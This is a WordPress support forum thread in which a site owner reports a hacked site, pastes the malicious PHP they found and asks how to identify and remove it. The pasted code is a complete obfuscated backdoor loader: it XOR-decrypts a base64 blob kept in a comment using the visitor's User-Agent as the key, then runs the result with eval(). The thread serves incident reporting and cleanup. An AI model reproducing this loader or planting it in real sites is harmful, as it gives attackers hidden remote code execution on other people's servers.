WordPress infected/hacked
-
Our wordpress site was infected or hacked with some kind of malicious code.
This is what I got. Do you know what kind of virus is it and how to clean the site? Thanks!
<?php /*
VAZQBg8EBwI5aVZEQFcTZktXFA4UEgpXUE0CSA1EOTJbVk1eShIHQhxHbGZ9azViHkIRFUE7ShBMaDhoO249HFVVEWhKFRAWCUMXaWJ3Mm1iFQcOCBIGV0NCb1o7bj0cQENFChlGQQpQFw0eHBJIBRZWEF9FFQoeDGg4bDxtXV4aQBdSXj4PV0AAWx4WShIVHVUBFTkVF0sbQV8AQgdcERtLaD0waEZSVRdWaVNKExkEEg4SCQg8XVIGXQVTTFNCW14DW1gVBx4QDlJCUVA6CGQbSFBPXW4zPmxUDkQBVVtaGEFTWBUHaVURQRZTS0EdUlcdXFhCFUoeHj9rP209UVQYA15VBD1GQRdsVV1WFVxXRhdJQg0GQBtFFhdFTR01ODlsPjAEAV5bQxddV0FPGR4SFBQSRgxSCwdATghDDzU4OWxKNGtrSzlpOjs4MQRBUEZfbGwbBlVEAFsHHg1HS1dETRNmMS1lYDgURVddRmQQGx9sbG9uMz5BVAhaClVVVxBYFx0+MnlnN2gRVFYAVFwVOVprbGpQUU1UCFoBa11KWRZDSklGUF0PXVdfXUgQQj9uaG9raTA+AFEJWURSUV5VOlBcFT1VWw1HU1xMEhEdVA0NCAcOXB5eP2s/bTkyO01oPTBsaD9RG1pCCTVrMDQ4GQQKFQZCOm8WEVcQXBgPEDpofSgwaWtYEzs4UQcRUEEXBBJOR2ZxLH4kZT8WTUJcClZdBAZQXQ9WFG8RSEI0OG1FEgcRXlIRbRFXEFwFUFEWUlcAD1McR2xwe3QkamIQEREKCQJdUgFUCFoBFmVpEgtWVARAax1YPjw7UQcRVF0SBDkTE1VYBFYEUjtSUV5VTRNmJyt6cTBoFEdIDVZYVgEFAA8PXBU4aUNCCURnXFEIUhs8ThJAAkFRV0w+SVhGDEhPHW4zPmxXAl4LFBoOVgpZTUEBWVgMQQtuGgZLXFcKPURYBVBbABIURghbWVZVAQsWBw1YQF0PVEAYTgcbCWlrbxsGVUQASWw8bT1dUVgKFxtdBFlaFxNVXVQOSwRuRhMDAj8bCRBCDVkFUBhUUQxbBU4EWVoXDQpQSkEWBxBfbGxvHjQ9GD9rUwdcVxISWVFWEw8WUQ1QQktIBARlEAkUChIKSVYXRk5QC0ZVH1QEQ1g9QBZZBkdeXVxcZRtiKzIyOkEHCwxcEUMQFFZTXQAKZUMXRlgMUlJXXAdQVVc4Q0YSGklSWG5DUA1YXW4SSgkFCAxGQRcTQktIBARlEBcUBAsKTWtHEhdXCEFdD2xHYkkNDVdQQ3VfXl09GxYMWE4ACRFUCVkdFVJaCBdGQlsVAmxoUEENUEJbVw8ZXlcQSUITEVUbRRYFXxYdQz86bBNaCV9VQRFfaVtWCE0RG19sbG8ATEUJbRJTEFtIRhhBVFFNQnVhMX95Ymw+bGt+SEFCExFVHl4/az8HQUpebxZSTQ4SQhxHUF4eGCJsa34rMTI5MXxjMGAvYjZ1dmF2IGUVQVMfD245P1FNE1VmQQEVCRYXERMGWk11MWZ0fWAxaG0oL3N7NmcaAwhIAjQ4bUUCBxdYF1gSAkMWWGdXSABUEUUBXh1YPjw7UQcRGBYAABIHSkI6bztoEgBVTFMQWBd5BwtaUTxUU0ZnAlZXRgEPEhVLHUIXXkgNaT4xTz1vPl8IDlNrE0ZCbVsOV01XChUVTkddXhceQRIAVUxTGV46MxxvPF0FEx4WZyZ8bWlDBRFBPhAXHj9rP0BQTxINRRNmJidib0RXQRVlWjQzO0AFEUZeGVUEQQQAUGtcV1MKU1xJEUJGPEFZRglSER1WE0hPXW4zPgxUQR4URl1VbwhWTQIKHhNMRkReBUkXEw1NRwIPEQQfSxhIGUMYGBZUEhsZRQtYUgwaHxJDbDMwO0AUFApDBBdBWw9QC28JbwtoPTBoRlJdERMLEhwIV19dP1M7XW4zPhgSBFoXURhJPW8+MBEQU1M8XldGWwkRHh0REwpbSxcdTB1GGkQQXEUcRRNQDwRZHVg+PDsxRUxLXkRcRkIKV1EKaVBrXzkyOzlBU1ATQgsURBQNPzJoRDQ4bREUAwRmWgRGAl5MExcaHk8eZU5KGB5KbxgaFksGEBZLRkpGR0xFCR5BEgodAz86bF5fQUoSWjgAaxIFXBkeRhwVQU9DQjpvO2gSHhQFEhcVX0lGWTs+ajoSXFkMXBkPREUIPVFkDGg4aEtEUVRBVUVMNGtrPxAZEwsSHA9iCm9fbGxvah1ZBF8EFlkUGkZVCEdVABZTFlg+PDtFbDMwWwJBTkIHUEVFE1wWQxMREktoPTBoRlJdERMLEhw+anxgMiQ0PUF9eCZnLHMqYGdgfypjGzxCGBREHBESFkEdXVsWQUhGRBYQRRxBEgpVVVcQSxceT0UWGkMXTAk1azBEEgENFQNDQjpvO2gSAF1KEg1FE2YyJ2RiJmFtEHwuemx/IS8yOTF2eDEQPBZKFB8dF0UZGUUMV1kGExgSH08eGRxERRxdbjM+GD9rPwNRTBoUEEVVTUISUApBHwk1azBQVERJAA8PXGgASghFEEcQFlQMRRBIQk05aTo/V1sJVhkQWBUUWF9NU1sOB1kKQBhRXwlYS1w+FFMRVlNcZEMHXV0TDwoJAl0XFkcCVQFHSw4fA1hXFVwKGxdXCA4XFUsHEF9sbG8eGVIJQQQWHzkyOzkAVFEOQhQIF0EIDkwFBwVUCw8SRgBWWwpAXGpGRl1WbEcJXQ4VWFgMUlISXgBQVQ5LBwkIFwcLSkYFCFgbTEAORww0a2tLOWlOFldUElxQVERJQjkzdmQxaUZRAUBnR0IJEGRIQk05aToSR0oNGQQSQD42KTBtbEJVBEI7QUpeFzgMNGtrRkYGVGlfWRVaURpDTk5ISRBrShpPHE1oFhoeTwgQRU0RGEMXQ0BUTRkdXE1aa2xqUFFFGkVYPwdlEg1YFx4VGkITShNNPzJoMB1IRFxGQRNRR0IJbDxtPRxcUQhSGVxCElo4AWsJNWswRBIBDRUDQ0I6bztoEh4UBRIUC2wKPFk7Pmo6ElxZDFwZD0RDEgMOSVsERgQUXzkyO01oPTBFBl9GQw4WFmcxdmpmP0YCFgJNX0JvQRhEFhcQEEsXHQ8DW1FDHRYVFkYZFxJAG11raTBQAEZJEhFGVB4QQVNQE0sNOWk6X1QYSV9QXgE+Ax4KSkMWGkVSDUYRGxAeOjNoa1NXC1wWEAQVSwcOEAVYWgVWWRESAlkIW0oPbEdQSwQHWGhBDVJdTw9VVlMAQRUTAFpSFkFdGQJbVkYOWRhNBVwKGxdBCBADbDMwT0QEChUGGUxoOGg/AVdQXRBHC00TXApABw0KVFcPTRlRCw0JFF5lFRdXBWpGClxdRwtbVgAGFlICWloOFwdWV0ZaXUkSBwcLSkYTCEYPNTg5GDozHG88UQBbWRIaXU1LDFgVAlhfX1gXX0FbAUBQXVRYaxsxLWVgPxEWU1sVUFZcWT1EOkEHCxZCAFhaYUpeCkULFhISV1pdD19cSBRNGUYdEQNbF1xPERIPVwlRBW4SAlJNPhdEWD8RFkRZDUxcDzhDOkRdBV4LQhRCREBBQlVYaxsJC1JQBl1qEBgPWFRXWT1EAhNYQw1uQxYSVVRHVVhrG0USV0ALbxQMBAhXSUcQQRIfE1wKFkcDWw1AGERRCUJcXD4UcwZHcFtUBGUbDFhOAAkRVAlZHRVSWggXRkJbFQJsaEs5aT48
*/ $file = FILE ; $str = file_get_contents($file); if(preg_match('#/*(.*?)*/#si', $str, $match))
$string = trim($match[1]);
else
exit; $key = $_SERVER['HTTP_USER_AGENT'];
$key = md5($key);
$key_length = strlen( $key );
$string = base64_decode($string);
$string_length=strlen($string);
$rndkey=$box=array();
$result='';
for($i=0;$i<=800;$i++){
$box[$i]=ord($key[$i%$key_length]);
} for($a=$j=$i=0;$i<$string_length;$i++){
$result.=chr(ord($string[$i])^($box[$i%256]));
} if(substr($result,0,8)==substr(md5(substr($result,8).$key),0,8)){
$result = substr($result,8);
eval($result);
}The page I need help with: [log in to see the link]
Viewing 7 replies - 1 through 7 (of 7 total)
Viewing 7 replies - 1 through 7 (of 7 total)
- The topic ‘WordPress infected/hacked’ is closed to new replies.